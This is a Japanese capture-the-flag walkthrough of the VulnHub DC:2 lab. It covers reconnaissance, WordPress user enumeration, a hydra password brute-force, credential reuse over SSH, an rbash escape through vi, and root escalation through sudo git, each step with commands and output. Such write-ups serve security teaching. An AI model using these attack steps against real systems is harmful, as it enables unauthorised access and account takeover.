概要
VulnHub「DC:2」のWriteupです。
User Flag
ターゲットマシンのIPアドレスを特定します。
$sudo netdiscover -i enp0s8 -r 192.168.178.0/24
Currently scanning: Finished! | Screen View: Unique Hosts
3 Captured ARP Req/Rep packets, from 3 hosts. Total size: 180
_____________________________________________________________________________
IP At MAC Address Count Len MAC Vendor / Hostname
-----------------------------------------------------------------------------
192.168.178.1 0a:00:27:00:00:08 1 60 Unknown vendor
192.168.178.2 08:00:27:10:4b:89 1 60 PCS Systemtechnik GmbH
192.168.178.22 08:00:27:e5:de:10 1 60 PCS Systemtechnik GmbH
192.168.178.1は、Virtual BoxのホストオンリーアダプターのIPです。
192.168.178.2は。DHCPサーバーのIPアドレスです。
192.168.178.22が、ターゲットマシンのIPアドレスだと分かりました。
ポートスキャンを実行します。
$nmap -Pn -sCV -T4 -p- 192.168.178.22 -oN nmap_result
PORT STATE SERVICE VERSION
80/tcp open http Apache httpd 2.4.10 ((Debian))
|_http-server-header: Apache/2.4.10 (Debian)
|_http-title: Did not follow redirect to http://dc-2/
7744/tcp open ssh OpenSSH 6.7p1 Debian 5+deb8u7 (protocol 2.0)
| ssh-hostkey:
| 1024 52:51:7b:6e:70:a4:33:7a:d2:4b:e1:0b:5a:0f:9e:d7 (DSA)
| 2048 59:11:d8:af:38:51:8f:41:a7:44:b3:28:03:80:99:42 (RSA)
| 256 df:18:1d:74:26:ce:c1:4f:6f:2f:c1:26:54:31:51:91 (ECDSA)
|_ 256 d9:38:5f:99:7c:0d:64:7e:1d:46:f6:e9:7c:c6:37:17 (ED25519)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
ポートの稼働状況が分かりました。
| ポート | サービス | バージョン |
|---|---|---|
| 80 | http | Apache/2.4.10 |
| 7744 | ssh | OpenSSH 6.7p1 |
dc-2ドメインにリダイレクトされているので、/etc/hostsに追記し、アクセスできるようにします。
$cat /etc/hosts
192.168.178.22 dc-2
Webページにアクセスできました。
WordPressでサイトが構成されているようです。
Flagカテゴリがあるので、リンクに飛ぶとFlag1が見つかりました。
辞書ファイル作成ツールであるcewlを使用し、パスワードクラックすると良いのかもしれません。
ディレクトリスキャンをします。
WordPressの標準的なパスが、いくつか見つかりました。
$ffuf -w /usr/share/seclists/Discovery/Web-Content/directory-list-1.0.txt -u http://dc-2/FUZZ -ic -c
wp-content [Status: 301, Size: 301, Words: 20, Lines: 10, Duration: 1ms]
wp-admin [Status: 301, Size: 299, Words: 20, Lines: 10, Duration: 0ms]
/wp-adminのログインページで、adminでログインを試すと、エラーメッセージからadminアカウントが存在すると分かりました。
wigで更に列挙を行いましたが、目新しい情報は見つかりませんでした。
$wig dc-2
wig - WebApp Information Gatherer
Scanning http://dc-2...
___________________________________________________ SITE INFO ____________________________________________________
IP Title
192.168.178.22 DC-2 – Just another WordPress site
____________________________________________________ VERSION _____________________________________________________
Name Versions Type
WordPress 3.8 | 3.8.1 | 3.8.2 | 3.8.3 | 3.8.4 | 3.8.5 | 3.8.6 | 3.8.7 CMS
3.8.8 | 3.9 | 3.9.1 | 3.9.2 | 3.9.3 | 3.9.4 | 3.9.5 | 3.9.6
4.0 | 4.0.1 | 4.0.2 | 4.0.3 | 4.0.4 | 4.0.5 | 4.1 | 4.1.1
4.1.2 | 4.1.3 | 4.1.4 | 4.1.5 | 4.2 | 4.2.1 | 4.2.2
Apache 2.4.10 Platform
Debian 8.0 OS
__________________________________________________ INTERESTING ___________________________________________________
URL Note Type
/wp-login.php Wordpress login page Interesting
/readme.html Readme file Interesting
_____________________________________________________ TOOLS ______________________________________________________
Name Link Software
wpscan https://github.com/wpscanteam/wpscan WordPress
CMSmap https://github.com/Dionach/CMSmap WordPress
________________________________________________ VULNERABILITIES _________________________________________________
Affected #Vulns Link
WordPress 3.8 12 http://cvedetails.com/version/162922
WordPress 3.8.1 12 http://cvedetails.com/version/162923
WordPress 3.8.2 7 http://cvedetails.com/version/176067
WordPress 3.8.3 7 http://cvedetails.com/version/176068
WordPress 3.8.4 8 http://cvedetails.com/version/176069
WordPress 3.9 8 http://cvedetails.com/version/176070
WordPress 3.9.1 15 http://cvedetails.com/version/169908
WordPress 3.9.2 10 http://cvedetails.com/version/176071
WordPress 3.9.3 1 http://cvedetails.com/version/185080
WordPress 4.0 9 http://cvedetails.com/version/176072
WordPress 4.0.1 1 http://cvedetails.com/version/185081
WordPress 4.1 1 http://cvedetails.com/version/185082
WordPress 4.1.1 2 http://cvedetails.com/version/185079
WordPress 4.2 1 http://cvedetails.com/version/185048
WordPress 4.2.1 0 http://cvedetails.com/version/184019
WordPress 4.2.2 2 http://cvedetails.com/version/185073
__________________________________________________________________________________________________________________
Time: 15.1 sec Urls: 405 Fingerprints: 39241
NSEを使用し、WordPressのアカウントを列挙します。
$nmap -Pn -p 80 --script http-wordpress-users dc-2
PORT STATE SERVICE
80/tcp open http
| http-wordpress-users:
| Username found: admin
| Username found: tom
| Username found: jerry
|_Search stopped at ID #25. Increase the upper limit if necessary with 'http-wordpress-users.limit'
admin,tom,jerryの3つのアカウントが存在すると判明しました。
ユーザー名のリストファイルを作成しました。
$cat users.txt
admin
tom
jerry
パスワードクラック用の辞書ファイルを、cewlでターゲットのWebサイトを基に作成します。
$cewl dc-2 -w ./cewl.txt
ユーザー名とパスワードのリストを使用し、WordPressの認証情報を探します。
$hydra -L users.txt -P cewl.txt dc-2 http-form-post '/wp-login.php:log=^USER^&pwd=^PASS^&wp-submit=Log+In&redirect_to=http%3A%2F%2Fdc-2%2Fwp-admin%2F&testcookie=1:F=The password you entered for the username'
[80][http-post-form] host: dc-2 login: tom password: parturient
[80][http-post-form] host: dc-2 login: jerry password: adipiscing
tom,jerryのパスワードが判明しました。
jerryアカウントでログインすると、Flag 2のページを閲覧出来ました。
WordPressではなく、別の侵入口を探す必要がありそうです。
tomの認証情報を流用することで、SSH接続に成功しました。
$ssh tom@dc-2 -p 7744
tom@DC-2:~$
flag3.txtを発見しました。
$ ls -la
total 40
drwxr-x--- 3 tom tom 4096 Mar 21 2019 .
drwxr-xr-x 4 root root 4096 Mar 21 2019 ..
-rwxr-x--- 1 tom tom 66 Mar 21 2019 .bash_history
-rwxr-x--- 1 tom tom 30 Mar 21 2019 .bash_login
-rwxr-x--- 1 tom tom 30 Mar 21 2019 .bash_logout
-rwxr-x--- 1 tom tom 30 Mar 21 2019 .bash_profile
-rwxr-x--- 1 tom tom 30 Mar 21 2019 .bashrc
-rwxr-x--- 1 tom tom 95 Mar 21 2019 flag3.txt
-rwxr-x--- 1 tom tom 30 Mar 21 2019 .profile
drwxr-x--- 3 tom tom 4096 Mar 21 2019 usr
しかし、rbashを使用しているので、実行できるコマンドに制限があります。
tom@DC-2:~$ echo $0
-rbash
$ cat flag3.txt
-rbash: cat: command not found
$ whoami
-rbash: whoami: command not found
viコマンドを使用することで、flag3.txtを閲覧出来ました。
$ vi flag3.txt
Poor old Tom is always running after Jerry. Perhaps he should su for all the stress he causes.
viコマンドからシェルを起動できるので、それを利用します。
/bin/bashを起動できました。
vi
:set shell=/bin/bash
:shell
$ echo $0
/bin/bash
しかし、まだcatコマンドなどは実行できません。
$ cat /home/jerry/flag4.txt
bash: cat: command not found
パスを通します。
$ export PATH=$PATH:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
tom@DC-2:~$ echo $PATH
/home/tom/usr/bin:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
catコマンドを実行でき、flag4.txtを閲覧出来ました。
$ cat /home/jerry/flag4.txt
Good to see that you've made it this far - but you're not home yet.
You still need to get the final flag (the only flag that really counts!!!).
No hints here - you're on your own now. :-)
Go on - git outta here!!!!
Root Flag
jerryアカウントに横展開します。
$ su jerry
sudo -lで許可されているプログラムを見ると、gitが設定されています。
$ sudo -l
Matching Defaults entries for jerry on DC-2:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin
User jerry may run the following commands on DC-2:
(root) NOPASSWD: /usr/bin/git
GTFOBinsで権限昇格のテクニックが、見つかりました。
無事権限昇格に成功しました。
$ sudo /usr/bin/git -p help config
!/bin/bash
root@DC-2:/home/tom# whoami
root
/root/final-flag.txtから、最後のフラグを取得できました。
# cat /root/final-flag.txt
__ __ _ _ _ _
/ / /\ \ \___| | | __| | ___ _ __ ___ / \
\ \/ \/ / _ \ | | / _` |/ _ \| '_ \ / _ \/ /
\ /\ / __/ | | | (_| | (_) | | | | __/\_/
\/ \/ \___|_|_| \__,_|\___/|_| |_|\___\/
Congratulatons!!!
A special thanks to all those who sent me tweets
and provided me with feedback - it's all greatly
appreciated.
If you enjoyed this CTF, send me a tweet via @DCAU7.



